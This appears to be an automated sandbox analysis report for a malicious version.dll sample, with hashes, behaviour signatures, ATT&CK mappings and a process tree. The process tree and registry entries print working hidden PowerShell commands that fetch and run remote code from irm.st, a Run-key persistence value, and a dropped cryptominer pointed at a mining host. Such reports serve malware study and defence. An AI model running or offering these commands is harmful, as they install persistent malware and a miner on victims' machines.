00f6b47ed70472f6b7cf95b8cdeb33d254906d780148df205320a0f7d25298e4

Analysis

max time kernel
149s
max time network
143s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
27/10/2026, 18:38

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
version.dll
Size 124KB
Sample261027-w97kqaec56
SHA256 00f6b47ed70472f6b7cf95b8cdeb33d254906d780148df205320a0f7d25298e4
MD5 410af86d672a4886ff7ecae3c8c0c5a7
SHA1 e2308e96a4f97972dc3f382b8e23f776e5206aac
SHA512 96695a111688b87f6c7073878a0f80190ca2fc1b5ec7b91f9e8f10cc2aae9a3b9b5a34596242dd9210f409502aa927f77f9a3404c354f8e95de5034800fb83a1
SSDEEP 3072:PArsEFFJFC9pVpcGgD4H3zFOSwCYnn6iouckVPxIiTON4F:PArsqF7cpMdDC3JO6A
TLSH
T1D2C34B1BB6B5507BE26A8938C4530A05DF72BC918BA0ABDF07900DDA1E637D49F3DB11
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution persistence

Malware Config

Signatures

Badlisted process makes network request 8 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
7	1780	powershell.exe
8	2468	powershell.exe
9	5656	powershell.exe
10	5856	powershell.exe
11	5856	powershell.exe
13	3312	powershell.exe
14	5496	powershell.exe
15	1164	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1780	powershell.exe
2468	powershell.exe
5656	powershell.exe
5856	powershell.exe
3312	powershell.exe
5496	powershell.exe
1164	powershell.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	O4bL6Cpwn4kO
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	O4bL6Cpwn4kO

Executes dropped EXE 1 IoCs

pid	Process
796	SystemSettingsBroker.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000\Software\Microsoft\Windows\CurrentVersion\Run\SystemSettingsBroker = "powershell.exe -NoProfile -WindowStyle Hidden -Command \"irm irm.st/832533 \| iex\""	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000\Software\Microsoft\Windows\CurrentVersion\Run\SystemSettingsBroker = "powershell.exe -NoProfile -WindowStyle Hidden -Command \"irm irm.st/483171 \| iex\""	powershell.exe

Suspicious behavior: EnumeratesProcesses 21 IoCs

pid	Process
1780	powershell.exe
2468	powershell.exe
1780	powershell.exe
2468	powershell.exe
2468	powershell.exe
5856	powershell.exe
5856	powershell.exe
5656	powershell.exe
5656	powershell.exe
5656	powershell.exe
5856	powershell.exe
5856	powershell.exe
3312	powershell.exe
3312	powershell.exe
3312	powershell.exe
5496	powershell.exe
5496	powershell.exe
5496	powershell.exe
1164	powershell.exe
1164	powershell.exe
1164	powershell.exe

Suspicious use of AdjustPrivilegeToken 49 IoCs

description	pid	Process
Token: SeDebugPrivilege	1780	powershell.exe
Token: SeDebugPrivilege	2468	powershell.exe
Token: SeDebugPrivilege	5856	powershell.exe
Token: SeDebugPrivilege	5656	powershell.exe
Token: SeIncreaseQuotaPrivilege	5856	powershell.exe
Token: SeSecurityPrivilege	5856	powershell.exe
Token: SeTakeOwnershipPrivilege	5856	powershell.exe
Token: SeLoadDriverPrivilege	5856	powershell.exe
Token: SeSystemProfilePrivilege	5856	powershell.exe
Token: SeSystemtimePrivilege	5856	powershell.exe
Token: SeProfSingleProcessPrivilege	5856	powershell.exe
Token: SeIncBasePriorityPrivilege	5856	powershell.exe
Token: SeCreatePagefilePrivilege	5856	powershell.exe
Token: SeBackupPrivilege	5856	powershell.exe
Token: SeRestorePrivilege	5856	powershell.exe
Token: SeShutdownPrivilege	5856	powershell.exe
Token: SeDebugPrivilege	5856	powershell.exe
Token: SeSystemEnvironmentPrivilege	5856	powershell.exe
Token: SeRemoteShutdownPrivilege	5856	powershell.exe
Token: SeUndockPrivilege	5856	powershell.exe
Token: SeManageVolumePrivilege	5856	powershell.exe
Token: 33	5856	powershell.exe
Token: 34	5856	powershell.exe
Token: 35	5856	powershell.exe
Token: 36	5856	powershell.exe
Token: SeDebugPrivilege	3312	powershell.exe
Token: SeDebugPrivilege	5496	powershell.exe
Token: SeIncreaseQuotaPrivilege	5496	powershell.exe
Token: SeSecurityPrivilege	5496	powershell.exe
Token: SeTakeOwnershipPrivilege	5496	powershell.exe
Token: SeLoadDriverPrivilege	5496	powershell.exe
Token: SeSystemProfilePrivilege	5496	powershell.exe
Token: SeSystemtimePrivilege	5496	powershell.exe
Token: SeProfSingleProcessPrivilege	5496	powershell.exe
Token: SeIncBasePriorityPrivilege	5496	powershell.exe
Token: SeCreatePagefilePrivilege	5496	powershell.exe
Token: SeBackupPrivilege	5496	powershell.exe
Token: SeRestorePrivilege	5496	powershell.exe
Token: SeShutdownPrivilege	5496	powershell.exe
Token: SeDebugPrivilege	5496	powershell.exe
Token: SeSystemEnvironmentPrivilege	5496	powershell.exe
Token: SeRemoteShutdownPrivilege	5496	powershell.exe
Token: SeUndockPrivilege	5496	powershell.exe
Token: SeManageVolumePrivilege	5496	powershell.exe
Token: 33	5496	powershell.exe
Token: 34	5496	powershell.exe
Token: 35	5496	powershell.exe
Token: 36	5496	powershell.exe
Token: SeDebugPrivilege	1164	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 3872 wrote to memory of 4196	3872	rundll32.exe	89
PID 3872 wrote to memory of 4148	3872	rundll32.exe	90
PID 4148 wrote to memory of 1780	4148	O4bL6Cpwn4kO	91
PID 3872 wrote to memory of 1376	3872	rundll32.exe	93
PID 1376 wrote to memory of 2632	1376	loader.exe	94
PID 2632 wrote to memory of 2468	2632	O4bL6Cpwn4kO	95
PID 1780 wrote to memory of 5856	1780	powershell.exe	100
PID 2468 wrote to memory of 5656	2468	powershell.exe	101
PID 3312 wrote to memory of 5496	3312	powershell.exe	107
PID 5856 wrote to memory of 796	5856	powershell.exe	109

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\version.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:3872
- C:\Users\Admin\AppData\Local\Temp\490964462\zmstage.exe
  "C:\Users\Admin\AppData\Local\Temp\490964462\zmstage.exe"
  2⤵
  PID:4196
- C:\Users\Admin\AppData\Local\Temp\auth\O4bL6Cpwn4kO
  "C:\Users\Admin\AppData\Local\Temp\auth\O4bL6Cpwn4kO"
  2⤵
  - Checks BIOS information in registry
  - Suspicious use of WriteProcessMemory
  PID:4148
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand JABpAGQAPQAnACcAOwBmAG8AcgAoACQAaQA9ADAAOwAkAGkAIAAtAGwAdAAgADYAOwAkAGkAKwArACkAewAkAGkAZAArAD0AKABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBNAGkAbgBpAG0AdQBtACAAMAAgAC0ATQBhAHgAaQBtAHUAbQAgADEAMAApAH0AOwBpAGUAeAAgACgAaQByAG0AIAAoACcAaQByAG0ALgBzAHQALwAnACsAJABpAGQAKQApAA==
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1780
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "$id='';for($i=0;$i -lt 6;$i++){$id+=(Get-Random -Minimum 0 -Maximum 10)};iex (irm ('irm.st/'+$id))"
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Adds Run key to start application
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:5856
    - - C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdge\SystemSettingsBroker.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdge\SystemSettingsBroker.exe" --url stratum+tcp://c2.doxbin.cy:3333 --user x.xmrrig
        5⤵
        Executes dropped EXE
        
        PID:796
- C:\Users\Admin\AppData\Local\Temp\loader.exe
  "C:\Users\Admin\AppData\Local\Temp\loader.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1376
- - C:\Users\Admin\AppData\Local\Temp\auth\O4bL6Cpwn4kO
    "C:\Users\Admin\AppData\Local\Temp\auth\O4bL6Cpwn4kO"
    3⤵
    - Checks BIOS information in registry
    - Suspicious use of WriteProcessMemory
    PID:2632
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand JABpAGQAPQAnACcAOwBmAG8AcgAoACQAaQA9ADAAOwAkAGkAIAAtAGwAdAAgADYAOwAkAGkAKwArACkAewAkAGkAZAArAD0AKABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBNAGkAbgBpAG0AdQBtACAAMAAgAC0ATQBhAHgAaQBtAHUAbQAgADEAMAApAH0AOwBpAGUAeAAgACgAaQByAG0AIAAoACcAaQByAG0ALgBzAHQALwAnACsAJABpAGQAKQApAA==
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2468
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "$id='';for($i=0;$i -lt 6;$i++){$id+=(Get-Random -Minimum 0 -Maximum 10)};iex (irm ('irm.st/'+$id))"
        5⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5656

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/832533 | iex"
1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3312
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/832533 | iex"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5496

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/483171 | iex"
1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1164

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 96952b58e7507bfbf6b1edf838d41182ae4f94e983572fa0c037be46d4ab1b05
MD5 b65d38126d60f6776d0fee761697a8ab
SHA1 fce1b1fa5ee6c386768d73e767a6bf9a04c23b30
SHA512 100a082250af816628e48f6949a2068bada9998b7bd29fa7408af7fd8d4425d03c85b92e6e2e4c08dc55e6bb56b4f31aedeaf3f4ac201e80d2cdac77353c5dd6
SSDEEP 1536:mKLg0mYo2hOovpfKQVGflJdpHYWh4iUx9R40i71Yi9MQyPcMrxoi3jiRjdvRwa5Z:mKLg0mYo2hOovpfKQVGflJd9YWqiU9Rg
TLSH
T11C636192E9204E75E1A66F3EF15622627C30394690F8113211DC25EFA987D970B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 43cafb557c649536eb33cc9f3cc4f07f08c0f6713a3e4a04cc7832db7e937a8b
MD5 c82fea3fc40712300ce8fab82965ea41
SHA1 986a358e50333723a330a45a6c886e21c7d41048
SHA512 602a736341dbb0655b6a9fe3a9afbe6fb70f12265d41fe94540fcd290c326bf7852277f3be3b92d648632394da681b5097ab1289a3dcda1a47eb69b62e5157c9
TLSH
T1B5219837F3CC8614DC8A403A52CDAC0036B687DBC0DECE9BBB84D544B42F689DE69160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 ac12a27cabb714e5a571b5f98dd99eaf95150ac7aba2d213e3859f15831db8c5
MD5 1860645b10ed036cf0ca7f866da39efc
SHA1 8153d46057ed7f535656b51453c330d0d5e91352
SHA512 9a6d9e5bf9e7a3a38ce022951730f26b2806d9d8c6f584e6f4b612930dcae77feb98fa0e52a4289e5df1a0c37c08ebb01d7e6164421fdf2e19fd7a941e87c6e3
TLSH
T155216B37F3CC8614D88A403A52CDAC0036B687DBC0DECE976B84D544B42F699DE69160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 08ce0f18f36cf51ccbfb2ad742ac3d71679e6b7103b2d42d7c09c081785bce6f
MD5 286a5dbf1e4120093a4ba97ea7dfcd47
SHA1 c9d7abe672ce2b5fe5a862aea3b78db7afdc6514
SHA512 eeafb5dcbeeb6cb6ca79f6516f7ce8d6b0bd8823abeb47fcca50015851ea0b01b537aecfe733eb34343866915125dad586a3356a3e914d575662cc28fe91a8ca
TLSH
T147319937F3DC8621D889403A22DDAC0032B6C7DBC0DECF9B6B85E154A52F699DE69160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 629ae9c5d46e008d1e8c3ce9d8f9449d4a9255b22fcbace9af38a8ae51de2750
MD5 764805bd1dc9febca6f6ad141400b032
SHA1 570a32702e2710475fb8f9a40efce384303c6f99
SHA512 663d212db5f35a1d5e5450e98db023cc3b35a21cd94948e357eebd326dc64e20192361016533b400b210c7adc6f29e45d3cb73485d8467021374a663015dbad8
TLSH
T120215733F3CC86A4D89A413650CEAC1036B787DB409FDEABAB84D559B42F689CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_ro43t1cu.m1p.psm1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ro43t1cu.m1p.psm1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1780-4-0x00007FFF40D30000-0x00007FFF416D4000-memory.dmp

Download

memory/1780-16-0x00007FFF40D30000-0x00007FFF416D4000-memory.dmp

Download

memory/1780-8-0x00007FFF40D30000-0x00007FFF416D4000-memory.dmp

Download

memory/1780-12-0x00007FFF40D30000-0x00007FFF416D4000-memory.dmp

Download

memory/1780-13-0x00007FFF40D30000-0x00007FFF416D4000-memory.dmp

Download

memory/1780-14-0x00007FFF40D30000-0x00007FFF416D4000-memory.dmp

Download

memory/1780-15-0x00007FFF40D30000-0x00007FFF416D4000-memory.dmp

Download

memory/1780-11-0x00007FFF40D30000-0x00007FFF416D4000-memory.dmp

Download

memory/1780-0-0x00007FFF40EBF000-0x00007FFF40EC0000-memory.dmp

Download

memory/1780-7-0x0000016B5F500000-0x0000016B5F522000-memory.dmp

Download

memory/1780-21-0x00007FFF40D30000-0x00007FFF416D4000-memory.dmp

Download

memory/1780-3-0x00007FFF40D30000-0x00007FFF416D4000-memory.dmp

Download

memory/1780-1-0x00007FFF40D30000-0x00007FFF416D4000-memory.dmp

Download

memory/1780-2-0x00007FFF40D30000-0x00007FFF416D4000-memory.dmp

Download

memory/2468-17-0x0000028970780000-0x0000028970942000-memory.dmp

Download

memory/5856-33-0x000001D5E4840000-0x000001D5E4864000-memory.dmp

Download

memory/5856-37-0x000001D5E4830000-0x000001D5E4842000-memory.dmp

Download

memory/5856-38-0x000001D5E4820000-0x000001D5E482A000-memory.dmp

Download

memory/5856-32-0x000001D5E4840000-0x000001D5E486A000-memory.dmp

Download

memory/5856-31-0x000001D5E4800000-0x000001D5E480A000-memory.dmp

Download

memory/5856-30-0x000001D5E4740000-0x000001D5E47F2000-memory.dmp

Download

memory/5856-29-0x000001D5E42C0000-0x000001D5E42DE000-memory.dmp

Download